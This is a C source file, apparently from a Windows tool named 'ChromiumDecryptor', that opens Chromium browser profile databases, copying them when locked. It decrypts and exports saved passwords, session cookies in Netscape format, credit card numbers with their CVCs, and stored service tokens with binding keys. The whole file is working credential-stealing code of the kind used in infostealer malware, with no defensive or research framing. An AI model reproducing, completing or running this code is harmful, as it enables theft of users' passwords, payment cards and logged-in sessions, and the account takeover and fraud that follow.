#include "extractor.h"
#include "handle_duplicator.h"
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    wchar_t** files;
    size_t count;
    size_t capacity;
} TempFileList;

static TempFileList* temp_files = NULL;

static void init_temp_files() {
    if (!temp_files) {
        temp_files = malloc(sizeof(TempFileList));
        if (temp_files) {
            temp_files->files = malloc(sizeof(wchar_t*) * 10);
            temp_files->count = 0;
            temp_files->capacity = 10;
        }
    }
}

static void add_temp_file(const wchar_t* path) {
    if (!temp_files) return;

    if (temp_files->count >= temp_files->capacity) {
        size_t new_cap = temp_files->capacity * 2;
        wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
        if (!new_files) return;
        temp_files->files = new_files;
        temp_files->capacity = new_cap;
    }

    temp_files->files[temp_files->count] = _wcsdup(path);
    temp_files->count++;
}

void cleanup_temp_files() {
    if (!temp_files) return;

    for (size_t i = 0; i < temp_files->count; i++) {
        DeleteFileW(temp_files->files[i]);
        free(temp_files->files[i]);
    }

    free(temp_files->files);
    free(temp_files);
    temp_files = NULL;
}

static bool open_database(const wchar_t* db_path, sqlite3** db) {
    char path_utf8[MAX_PATH_LEN * 3];
    int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
        sizeof(path_utf8), NULL, NULL);

    if (converted == 0) {
        return false;
    }

    char uri_path[MAX_PATH_LEN * 3 + 20];
    sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);

    for (char* p = uri_path; *p; p++) {
        if (*p == '\\') *p = '/';
    }

    int rc = sqlite3_open_v2(uri_path, db,
        SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
        NULL);

    if (rc != SQLITE_OK) {
        if (*db) {
            sqlite3_close(*db);
            *db = NULL;
        }

        wchar_t temp_dir[MAX_PATH_LEN];
        GetTempPathW(MAX_PATH_LEN, temp_dir);
        wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
        CreateDirectoryW(temp_dir, NULL);

        wchar_t temp_file[MAX_PATH_LEN];
        swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());

        if (!copy_locked_file(db_path, temp_file)) {
            return false;
        }

        init_temp_files();
        add_temp_file(temp_file);

        WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
        sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);

        for (char* p = uri_path; *p; p++) {
            if (*p == '\\') *p = '/';
        }

        rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
        if (rc != SQLITE_OK) {
            if (*db) {
                sqlite3_close(*db);
                *db = NULL;
            }
            return false;
        }
    }

    return true;
}

bool write_json_array(const wchar_t* file_path, StringArray* entries) {
    if (!file_path || !entries) return false;

    FILE* f = NULL;
    if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;

    fprintf(f, "[\n");
    for (size_t i = 0; i < entries->count; i++) {
        fprintf(f, "%s", entries->items[i]);
        if (i < entries->count - 1) {
            fprintf(f, ",\n");
        }
    }
    fprintf(f, "\n]\n");

    fclose(f);
    return true;
}

bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
    if (!file_path || !entries) return false;

    FILE* f = NULL;
    if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;

    for (size_t i = 0; i < entries->count; i++) {
        fprintf(f, "%s\n", entries->items[i]);
    }

    fclose(f);
    return true;
}

StringArray* extract_cookies(const ExtractionContext* ctx) {
    if (!ctx) return NULL;

    wchar_t db_path[MAX_PATH_LEN];
    swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);

    if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
        return NULL;
    }

    sqlite3* db = NULL;
    if (!open_database(db_path, &db)) {
        return NULL;
    }

    StringArray* results = string_array_create(100);
    if (!results) {
        sqlite3_close(db);
        return NULL;
    }

    const char* query =
        "SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";

    sqlite3_stmt* stmt = NULL;
    if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
        sqlite3_close(db);
        string_array_destroy(results);
        return NULL;
    }

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const uint8_t* blob = sqlite3_column_blob(stmt, 5);
        int blob_len = sqlite3_column_bytes(stmt, 5);
        if (!blob) continue;

        ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
        if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
            buffer_destroy(plain);
            continue;
        }

        const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
        size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;

        char* value_str = malloc(value_len + 1);
        if (!value_str) {
            buffer_destroy(plain);
            continue;
        }

        memcpy(value_str, value, value_len);
        value_str[value_len] = '\0';

        const char* host = (const char*)sqlite3_column_text(stmt, 0);
        const char* name = (const char*)sqlite3_column_text(stmt, 1);
        const char* path = (const char*)sqlite3_column_text(stmt, 2);
        int is_secure = sqlite3_column_int(stmt, 3);
        long long expires = sqlite3_column_int64(stmt, 4);

        long long unix_expiry = (expires / 1000000LL) - 11644473600LL;

        char netscape[MAX_JSON_LEN];
        snprintf(netscape, sizeof(netscape),
            "%s\t%s\t%s\t%s\t%lld\t%s\t%s",
            host ? host : "",
            (host && host[0] == '.') ? "TRUE" : "FALSE",
            path ? path : "/",
            is_secure ? "TRUE" : "FALSE",
            unix_expiry,
            name ? name : "",
            value_str
        );

        string_array_add(results, netscape);

        free(value_str);
        buffer_destroy(plain);
    }

    sqlite3_finalize(stmt);
    sqlite3_close(db);
    return results;
}

StringArray* extract_passwords(const ExtractionContext* ctx) {
    if (!ctx) return NULL;

    wchar_t db_path[MAX_PATH_LEN];
    swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);

    sqlite3* db = NULL;
    if (!open_database(db_path, &db)) return NULL;

    StringArray* results = string_array_create(50);
    const char* query = "SELECT origin_url, username_value, password_value FROM logins;";

    sqlite3_stmt* stmt = NULL;
    if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
        sqlite3_close(db);
        return results;
    }

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const uint8_t* blob = sqlite3_column_blob(stmt, 2);
        int blob_len = sqlite3_column_bytes(stmt, 2);

        if (!blob) continue;

        ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
        if (!plain) continue;

        char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
        char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));

        char* pass_raw = malloc(plain->size + 1);
        memcpy(pass_raw, plain->data, plain->size);
        pass_raw[plain->size] = '\0';
        char* pass_esc = escape_json_string(pass_raw);

        char json[MAX_JSON_LEN];
        snprintf(json, sizeof(json),
            "  {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
            origin, user, pass_esc);

        string_array_add(results, json);

        free(origin);
        free(user);
        free(pass_raw);
        free(pass_esc);
        buffer_destroy(plain);
    }

    sqlite3_finalize(stmt);
    sqlite3_close(db);
    return results;
}

typedef struct {
    char* guid;
    uint8_t* blob;
    int blob_len;
} CvcEntry;

StringArray* extract_payments(const ExtractionContext* ctx) {
    if (!ctx) return NULL;

    wchar_t db_path[MAX_PATH_LEN];
    swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);

    sqlite3* db = NULL;
    if (!open_database(db_path, &db)) return NULL;

    CvcEntry* cvc_table = NULL;
    int cvc_count = 0;

    sqlite3_stmt* cvc_stmt = NULL;
    if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
        while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
            cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
            const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
            const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
            int len = sqlite3_column_bytes(cvc_stmt, 1);

            cvc_table[cvc_count].guid = _strdup(guid);
            cvc_table[cvc_count].blob = malloc(len);
            memcpy(cvc_table[cvc_count].blob, blob, len);
            cvc_table[cvc_count].blob_len = len;
            cvc_count++;
        }
        sqlite3_finalize(cvc_stmt);
    }

    StringArray* results = string_array_create(10);
    const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
    sqlite3_stmt* stmt = NULL;

    if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
        while (sqlite3_step(stmt) == SQLITE_ROW) {
            const char* guid = (const char*)sqlite3_column_text(stmt, 0);
            char card_num[256] = { 0 };
            char cvc_val[16] = { 0 };

            const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
            int card_blob_len = sqlite3_column_bytes(stmt, 4);
            if (card_blob) {
                ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
                if (plain) {
                    snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
                    buffer_destroy(plain);
                }
            }

            for (int i = 0; i < cvc_count; i++) {
                if (strcmp(guid, cvc_table[i].guid) == 0) {
                    ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
                    if (plain_cvc) {
                        snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
                        buffer_destroy(plain_cvc);
                    }
                    break;
                }
            }

            char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
            char* card_esc = escape_json_string(card_num);
            char* cvc_esc = escape_json_string(cvc_val);

            char json[MAX_JSON_LEN];
            snprintf(json, sizeof(json),
                "  {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
                name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);

            string_array_add(results, json);

            free(name); free(card_esc); free(cvc_esc);
        }
        sqlite3_finalize(stmt);
    }

    for (int i = 0; i < cvc_count; i++) {
        free(cvc_table[i].guid);
        free(cvc_table[i].blob);
    }

    free(cvc_table);
    sqlite3_close(db);

    return results;
}

StringArray* extract_tokens(const ExtractionContext* ctx) {
    if (!ctx) return NULL;

    wchar_t db_path[MAX_PATH_LEN];
    swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);

    sqlite3* db = NULL;
    if (!open_database(db_path, &db)) return NULL;

    StringArray* results = string_array_create(20);
    if (!results) {
        sqlite3_close(db);
        return NULL;
    }

    bool has_binding_key = true;
    const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
    const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";

    sqlite3_stmt* stmt = NULL;
    if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
        has_binding_key = false;
        if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
            sqlite3_close(db);
            string_array_destroy(results);
            return NULL;
        }
    }

    while (sqlite3_step(stmt) == SQLITE_ROW) {
        const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
        int token_len = sqlite3_column_bytes(stmt, 1);

        if (!token_blob || token_len <= 0) continue;

        ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
            token_blob, token_len);
        if (!plain_token) continue;

        char* token_str = malloc(plain_token->size + 1);
        if (!token_str) {
            buffer_destroy(plain_token);
            continue;
        }
        memcpy(token_str, plain_token->data, plain_token->size);
        token_str[plain_token->size] = '\0';
        buffer_destroy(plain_token);

        char binding_key_str[512] = {};
        if (has_binding_key) {
            const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
            int key_len = sqlite3_column_bytes(stmt, 2);

            if (key_blob && key_len > 0) {
                ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
                if (plain_key) {
                    snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
                    buffer_destroy(plain_key);
                }
            }
        }

        char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
        char* token_esc = escape_json_string(token_str);
        char* binding_esc = escape_json_string(binding_key_str);

        char json[MAX_JSON_LEN];
        snprintf(json, sizeof(json), "  {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
        string_array_add(results, json);

        free(service);
        free(token_esc);
        free(binding_esc);
        free(token_str);
    }

    sqlite3_finalize(stmt);
    sqlite3_close(db);

    return results;
}